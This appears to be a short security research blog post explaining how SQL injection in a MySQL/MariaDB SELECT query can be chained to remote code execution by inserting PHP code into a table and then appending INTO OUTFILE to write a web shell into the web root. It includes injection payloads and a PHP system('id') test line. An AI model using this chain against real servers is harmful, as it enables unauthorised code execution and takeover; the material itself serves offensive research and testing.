SQLi2RCE: my small research 😎️

Some of you may have know it.

While some of you, just like me, probably didn't know about it.

All of you know this syntax however right ? When you have SQLi just try this and get RCE they said

SELECT '<?php $_GET["x"];' INTO OUTFILE '/var/www/html/myshell.php';

SELECT '<?php $_GET["x"];' INTO OUTFILE '/var/www/html/myshell.php';

(considering we know the root document / or just by probing get lucky)

Anyways~, during SQLi in real target, we can't control that string what's selected (or can we? :D).

And the multi-query case is very~ rare, where you can do, e.g. injecting 2nd query like this 👇️

'; SELECT '<?php $_GET["x"];' INTO OUTFILE '/var/www/html/myshell.php';

'; SELECT '<?php $_GET["x"];' INTO OUTFILE '/var/www/html/myshell.php';

because that requires backend to initially use another method (e.g. multi_query(), not the typical query())

So what I discovered is that this syntax also works in SQL :D (not maybe for all DBMS ofc, but MariaDB/MySQL for sure)

SELECT * FROM `users` INTO OUTFILE '/var/www/html/myshell.php';

SELECT * FROM `users` INTO OUTFILE '/var/www/html/myshell.php';

Same for this

SELECT * FROM `users` WHERE 1 LIMIT 1 INTO OUTFILE...

SELECT * FROM `users` WHERE 1 LIMIT 1 INTO OUTFILE...

so any SELECT statement we can finish with "INTO OUTFILE ", and write a file on a server with that selected content

Although interestingly it seems to be deprecated — but was never removed !) (luckily, hope it stays like that for a while, like imo they wanna allow only maybe such syntax

SELECT * INTO OUTFILE '…..' FROM users

cause this would've prevented what I'll reveal further)

See how I tested it below (also notice how it shows red "x", but actually works lol)

So this behavior (any SELECT … can be written to file) + DB poisoning (idk if such term exists already, if no I just invented one) == RCE

By DB poisoning I mean: find a request, that will populate that exact table column, where you have SQLi, like naturaly (not naturaly lol) apps have insert statements yes ? We can use them and chain to RCE :D

If you are worried, about other junk, 1st of all we can use LIMIT & OFFSET or WHERE in case there are problems with size being too big for write operation to execute

2nd of all: they don't bother PHP for execution→ try it out now

echo 'junk_kjlansdk<?php system("id");?>junk_8d3gj95' >test  && php test

echo 'junk_kjlansdk<?php system("id");?>junk_8d3gj95' >test  && php test

So: Whenever you have SQLi in SELECT statement → try writing in same table column by another request (e.g. register user to write in 'users' table if you have SQLi in select statement for users table)→ then try redirecting output to a file with SQLi, where then you can access, and PWN !)

This required from me just checking the syntax locally to confirm the chain I thought, and it works nicely.

That's it, see you & happy hacking !

P.S. Maybe I discovered this once, and I just rediscovered it again, anyways, no matter, still this is a chain anyone could've missed, unless they were thinking specifically about this goal.